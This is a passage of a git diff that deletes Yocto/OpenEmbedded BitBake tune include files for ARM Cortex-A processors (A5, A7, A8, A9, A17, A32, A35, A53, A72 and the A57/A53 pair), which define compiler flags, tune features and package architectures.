-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17hf = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17hf = "${TUNE_FEATURES_tune-cortexa17} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf = "${TUNE_FEATURES_tune-cortexa17t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon = "${TUNE_FEATURES_tune-cortexa17-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon = "${TUNE_FEATURES_tune-cortexa17t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa17hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa32.inc b/meta/conf/machine/include/tune-cortexa32.inc
deleted file mode 100644
index 9c948f1766..0000000000
--- a/meta/conf/machine/include/tune-cortexa32.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-DEFAULTTUNE ?= "cortexa32"
-
-
-TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa32 cortexa32-crypto"
-ARMPKGARCH_tune-cortexa32 = "cortexa32"
-ARMPKGARCH_tune-cortexa32-crypto = "cortexa32"
-TUNE_FEATURES_tune-cortexa32 = "aarch64 cortexa32 crc"
-TUNE_FEATURES_tune-cortexa32-crypto = "aarch64 cortexa32 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa32"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa32 cortexa32-crypto"
-BASE_LIB_tune-cortexa32 = "lib64"
-BASE_LIB_tune-cortexa32-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa35.inc b/meta/conf/machine/include/tune-cortexa35.inc
deleted file mode 100644
index d6df6cd6bd..0000000000
--- a/meta/conf/machine/include/tune-cortexa35.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa35"
-
-TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa35 cortexa35-crypto"
-ARMPKGARCH_tune-cortexa35 = "cortexa35"
-ARMPKGARCH_tune-cortexa35-crypto = "cortexa35"
-TUNE_FEATURES_tune-cortexa35 = "aarch64 cortexa35 crc"
-TUNE_FEATURES_tune-cortexa35-crypto = "aarch64 cortexa35 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa35"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
-BASE_LIB_tune-cortexa35 = "lib64"
-BASE_LIB_tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa5.inc b/meta/conf/machine/include/tune-cortexa5.inc
deleted file mode 100644
index 496739e454..0000000000
--- a/meta/conf/machine/include/tune-cortexa5.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5 = "arm vfp cortexa5"
-TUNE_FEATURES_tune-cortexa5t = "${TUNE_FEATURES_tune-cortexa5} thumb"
-TUNE_FEATURES_tune-cortexa5-neon = "${TUNE_FEATURES_tune-cortexa5} neon"
-TUNE_FEATURES_tune-cortexa5t-neon = "${TUNE_FEATURES_tune-cortexa5-neon} thumb"
-TUNE_FEATURES_tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5hf = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5hf = "${TUNE_FEATURES_tune-cortexa5} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf = "${TUNE_FEATURES_tune-cortexa5t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon = "${TUNE_FEATURES_tune-cortexa5-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon = "${TUNE_FEATURES_tune-cortexa5t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa53.inc b/meta/conf/machine/include/tune-cortexa53.inc
deleted file mode 100644
index 6c0b443eaf..0000000000
--- a/meta/conf/machine/include/tune-cortexa53.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa53"
-
-TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa53 cortexa53-crypto"
-ARMPKGARCH_tune-cortexa53 = "cortexa53"
-ARMPKGARCH_tune-cortexa53-crypto = "cortexa53"
-TUNE_FEATURES_tune-cortexa53 = "aarch64 cortexa53 crc"
-TUNE_FEATURES_tune-cortexa53-crypto = "aarch64 cortexa53 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
-BASE_LIB_tune-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
deleted file mode 100644
index d05e93f51e..0000000000
--- a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-DEFAULTTUNE ?= "cortexa57-cortexa53"
-require conf/machine/include/arm/arch-armv8a.inc
-
-TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
-TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "aarch64", " -march=armv8-a", "" ,d)}"
-
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "" ,d)}"
-
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mtune=cortex-a57.cortex-a53", "", d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa57-cortexa53"
-ARMPKGARCH_tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
-TUNE_FEATURES_tune-cortexa57-cortexa53 = "${TUNE_FEATURES_tune-aarch64} cortexa57-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-aarch64} cortexa57-cortexa53"
-BASE_LIB_tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa7.inc b/meta/conf/machine/include/tune-cortexa7.inc
deleted file mode 100644
index 34a77b4788..0000000000
--- a/meta/conf/machine/include/tune-cortexa7.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7 = "arm vfp cortexa7"
-TUNE_FEATURES_tune-cortexa7t = "${TUNE_FEATURES_tune-cortexa7} thumb"
-TUNE_FEATURES_tune-cortexa7-neon = "${TUNE_FEATURES_tune-cortexa7} neon"
-TUNE_FEATURES_tune-cortexa7t-neon = "${TUNE_FEATURES_tune-cortexa7-neon} thumb"
-TUNE_FEATURES_tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa7-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7hf = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7hf = "${TUNE_FEATURES_tune-cortexa7} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf = "${TUNE_FEATURES_tune-cortexa7t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon = "${TUNE_FEATURES_tune-cortexa7-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon = "${TUNE_FEATURES_tune-cortexa7t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa7hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa72.inc b/meta/conf/machine/include/tune-cortexa72.inc
deleted file mode 100644
index 00f7745a22..0000000000
--- a/meta/conf/machine/include/tune-cortexa72.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "cortexa72"
-
-TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa72"
-ARMPKGARCH_tune-cortexa72 = "cortexa72"
-TUNE_FEATURES_tune-cortexa72 = "aarch64 cortexa72 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa72"
-BASE_LIB_tune-cortexa72 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa8.inc b/meta/conf/machine/include/tune-cortexa8.inc
deleted file mode 100644
index 6551ba4952..0000000000
--- a/meta/conf/machine/include/tune-cortexa8.inc
+++ /dev/null
@@ -1,39 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
-ARMPKGARCH_tune-cortexa8 = "cortexa8"
-ARMPKGARCH_tune-cortexa8t = "cortexa8"
-ARMPKGARCH_tune-cortexa8-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8t-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8 = "arm vfp cortexa8"
-TUNE_FEATURES_tune-cortexa8t = "${TUNE_FEATURES_tune-cortexa8} thumb"
-TUNE_FEATURES_tune-cortexa8-neon = "${TUNE_FEATURES_tune-cortexa8} neon"
-TUNE_FEATURES_tune-cortexa8t-neon = "${TUNE_FEATURES_tune-cortexa8-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa8-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
-ARMPKGARCH_tune-cortexa8hf = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf = "cortexa8"
-ARMPKGARCH_tune-cortexa8hf-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8hf = "${TUNE_FEATURES_tune-cortexa8} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf = "${TUNE_FEATURES_tune-cortexa8t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8hf-neon = "${TUNE_FEATURES_tune-cortexa8-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf-neon = "${TUNE_FEATURES_tune-cortexa8t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa8hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/tune-cortexa9.inc b/meta/conf/machine/include/tune-cortexa9.inc
deleted file mode 100644
index ecc7908cd7..0000000000
--- a/meta/conf/machine/include/tune-cortexa9.inc
+++ /dev/null
@@ -1,55 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
-ARMPKGARCH_tune-cortexa9 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t = "cortexa9"
-ARMPKGARCH_tune-cortexa9-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9 = "arm vfp cortexa9"
-TUNE_FEATURES_tune-cortexa9t = "${TUNE_FEATURES_tune-cortexa9} thumb"
-TUNE_FEATURES_tune-cortexa9-neon = "${TUNE_FEATURES_tune-cortexa9} neon"
-TUNE_FEATURES_tune-cortexa9t-neon = "${TUNE_FEATURES_tune-cortexa9-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa9-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
-ARMPKGARCH_tune-cortexa9hf = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9hf = "${TUNE_FEATURES_tune-cortexa9} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf = "${TUNE_FEATURES_tune-cortexa9t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9hf-neon = "${TUNE_FEATURES_tune-cortexa9-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf-neon = "${TUNE_FEATURES_tune-cortexa9t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa9hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
-
-# VFPv3 Tunes
-AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
-ARMPKGARCH_tune-cortexa9-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-vfpv3 = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9-vfpv3 = "${TUNE_FEATURES_tune-cortexa9} vfpv3"
-TUNE_FEATURES_tune-cortexa9t-vfpv3 = "${TUNE_FEATURES_tune-cortexa9t} vfpv3"
-TUNE_FEATURES_tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9hf} vfpv3"
-TUNE_FEATURES_tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9thf} vfpv3"
